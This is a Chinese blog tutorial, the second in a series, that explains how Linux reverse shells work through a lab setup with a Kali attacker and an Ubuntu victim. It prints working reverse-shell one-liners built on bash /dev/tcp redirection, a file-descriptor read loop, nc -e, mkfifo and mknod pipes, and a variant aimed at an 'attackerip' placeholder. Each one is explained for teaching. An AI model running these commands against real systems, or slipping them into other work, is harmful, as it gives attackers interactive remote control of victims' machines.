在上一篇文章 Linux反彈shell(一)文件描述符與重定向,咱們已經討論過了反彈shell中最核心也是相對較難理解的部分,那麼接下來咱們就能夠正式借反彈shell的實例分析回顧前一篇文章講的知識,而且也加深對反彈shell的理解吧。linux
reverse shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。web
一般用於被控端因防火牆受限、權限不足、端口被佔用等情形shell
假設咱們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在本身的機器去鏈接目標機器(目標ip:目標機器端口),這是比較常規的形式,咱們叫作正向鏈接。遠程桌面,web服務,ssh,telnet等等,都是正向鏈接。那麼什麼狀況下正向鏈接不太好用了呢?bash
1.某客戶機中了你的網馬,可是它在局域網內,你直接鏈接不了。服務器
2.它的ip會動態改變,你不能持續控制。markdown
3.因爲防火牆等限制,對方機器只能發送請求,不能接收請求。網絡
4.對於病毒,木馬,受害者何時能中招,對方的網絡環境是什麼樣的,何時開關機,都是未知,因此創建一個服務端,讓惡意程序主動鏈接,纔是上策。ssh
那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動鏈接攻擊者的服務端程序,就叫反彈鏈接。socket
咱們能夠先以一個linux 下的反彈shell 的命令爲例來看一下反彈shell 的命令都作了些什麼,掌握了反彈的本質,再多的方法其實只是換了包裝而已。
實驗環境:
受害者:
Ubuntu Linux ------> 192.168.146.128
攻擊者:
Kali Linux ------> 192.168.146.129
咱們就以最多見的bash爲例:
attacker機器上執行:
nc -lvp 2333
victim 機器上執行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
你就會看到下圖:
能夠看到在攻擊機上出現了受害者機器的shell
解釋一下這條命令具體的含義:
1.bash -i
1)bash 是linux 的一個比較常見的shell,其實linux的shell還有不少,好比 sh、zsh、等,他們之間有着細小差異
2)-i 這個參數表示的是產生交互式的shell
2./dev/tcp/ip/port
/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上能夠將其當作一個設備(Linux下一切皆文件),其實若是你訪問這個文件的位置他是不存在的,以下圖:
可是若是你在一方監聽端口的狀況下對這個文件進行讀寫,就能實現與監聽端口的服務器的socket通訊
實例1:
咱們輸出字符串到這個文件裏
攻擊機上的輸出
實例2:
攻擊機上的輸入
受害者機器上的輸出
3.交互重定向
注意:
下面的內容涉及到比較複雜的重定向和文件描述符的知識,若是理解不夠深刻建議看完個人上一篇文章之後再來繼續閱讀:
爲了實現交互,咱們須要把受害者交互式shell的輸出重定向到攻擊機上
在受害者機器上輸入
bash -i > /dev/tcp/192.168.146.129/2333
示意圖:
以下圖所示,任何在受害者機器上執行的指令都不會直接回顯了,而是在攻擊者機器上回顯。
可是這裏有一個問題,攻擊者沒有可以實現對受害者的控制,攻擊者執行的命令無法在受害者電腦上執行。
因而咱們彷佛還須要一條這樣的指令
bash -i < /dev/tcp/192.168.146.129/2333
示意圖:
這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,天然就能執行了
如今咱們須要將兩條指令結合起來(若是這條指令看不懂能夠去看一下我上面提供的文章的連接再回來看這條指令):
bash -i > /dev/tcp/192.168.146.129/2333 0>&1
示意圖:
由這張示意圖能夠很清楚地看到,輸入0是由/dev/tcp/192.168.146.129/2333 輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到/dev/tcp/192.168.156.129/2333上,這就造成了一個迴路,實現了咱們遠程交互式shell 的功能
以下圖所示,我在攻擊機上輸入 ifconfig,查看到的是受害者的ip ,也就是說咱們目前已經基本完成了一個反彈shell 的功能。
注意:
可是這裏有一個問題,就是咱們在受害者機器上依然能看到咱們在攻擊者機器中執行的指令 ,以下圖所示,咱們立刻解決
4. >&、&>
這個符號在我附上連接的那篇文章中也提到了,做用就是混合輸出(錯誤、正確輸出都輸出到一個地方)
如今咱們解決一下前面的問題:
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
能夠看到命令並無回顯在受害者機器上,咱們的目的達成了
固然咱們也能夠執行與之徹底等價的指令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
至此,咱們的反彈shell的經典語句就分析完了,經過這條語句的分析咱們能大體的瞭解反彈shell的本質,之後碰到其餘的反彈shell 的語句也能用相似的分析方法區分析,甚至咱們也能夠本身觸類旁通創造更加絕妙的反彈shell 的語句
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
和
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
這裏的惟一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不一樣,而對於這個文件描述符來說並無什麼區別(我在上面給出連接的文章中也特意用加粗的形式解釋了)
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
等價於
bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
示意圖:
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
簡單的解釋一下:
exec 5<>/dev/tcp/192.168.146.129/2333
這一句將文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 而且方式是讀寫方式(這種方法在個人前面的文章中也講到過),因而咱們就能經過文件描述符對這個socket鏈接進行操做了
command|while read line do .....done
這個是一個很是經典的句子,它的原句是這樣的
while read line do … done < file
從文件中依次讀取每一行,將其賦值給 line 變量(固然這裏變量能夠不少,以空格分隔,這裏我就舉一個變量的例子,若是是一個變量的話,那麼一整行都是它的了),以後再在循環中對line進行操做。
而如今咱們不是從file 文件中輸入了,咱們使用管道符對攻擊者機器上輸入的命令依次執行,並將標準輸出和標準錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現交互式shell的功能。
與之徹底相似的還有下面這條指令,讀者有興趣能夠本身分析一下:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
nc 若是安裝了正確的版本(存在-e 選項就能直接反彈shell)
nc -e /bin/sh 192.168.146.129 2333
可是若是是沒有-e 選項是否是就不能實現了呢?固然不是,咱們能夠向下面這樣
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
簡單的解釋:
mkfifo 命令首先建立了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標準輸出和標準錯誤輸出結果經過nc 傳到該管道,由此造成了一個迴路
相似的命令:
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
反彈shell方法雖然常見,方法網上一搜就是一大把的代碼,可是不多有人會去仔細斟酌反彈shell的原理,我也看到有相似的文章,可是多是因爲篇幅緣由並無對文件描述符和重定向的部分作深刻的討論,致使解釋語句的時候依然讓人很差理解,因而此次我分紅了兩篇有所關聯的文章完全的剖析了一下,我的認爲這個原理是很是值得你們思考的,也頗有趣,若是個人文章有什麼地方有問題,但願你們及時聯繫我。
我的博客: http://www.k0rz3n.com
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://blog.csdn.net/roler_/article/details/17504039
http://www.freebuf.com/articles/system/153986.html
https://www.zhihu.com/question/24503813